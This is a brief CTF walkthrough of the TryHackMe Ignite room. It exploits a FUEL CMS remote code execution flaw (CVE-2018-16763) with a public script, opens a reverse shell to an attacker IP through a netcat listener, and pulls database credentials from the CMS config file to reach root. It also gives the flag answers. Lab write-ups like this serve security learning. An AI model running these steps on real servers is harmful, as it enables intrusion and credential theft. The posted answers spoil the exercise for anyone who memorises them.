TryHackMe Ignite Writeup: FUEL CMS RCE and Credential Reuse
A TryHackMe Ignite walkthrough covering FUEL CMS exploitation, reverse shell access, and credential discovery in application configuration files.
This writeup is adapted from my original TryHackMe notes for Ignite. I kept the room flow close to the source Markdown and cleaned up GitBook formatting so it reads properly on the website.
Description
Root the box! Designed and created by DarkStar7471, built by Paradox.
----------------------------------------------------
Enjoy the room! For future rooms and write-ups, follow @darkstar7471 on Twitter.
Answer the questions below
User.txt
Nmap
nmap -A -sV 10.10.43.115
Web Page
CVE-2018-16763
https://github.com/ice-wzl/Fuel-1.4.1-RCE-Updated
python3 Fuel-Updated.py http://10.10.43.115/ 10.4.67.48 4444
nc -lvnp 4444
Answer: 6470e394cbf6dab6a91682cc8585059b
Root.txt
After reading the webpage, it stated: "Install the FUEL CMS database by first creating the database in MySQL, then importing the 'fuel/install/fuel_schema.sql' file. After creating the database, change the database configuration found in 'fuelfuel/application/config/database.php/application/config/database.php' to include your hostname (e.g., localhost), username, password, and the database to match the new database you created."
cat fuel/application/config/database.php
Import PUTTY
python3 -c 'import pty; pty.spawn("/bin/bash")'
Answer: b9bbcb33e11b80be759c4e844862482d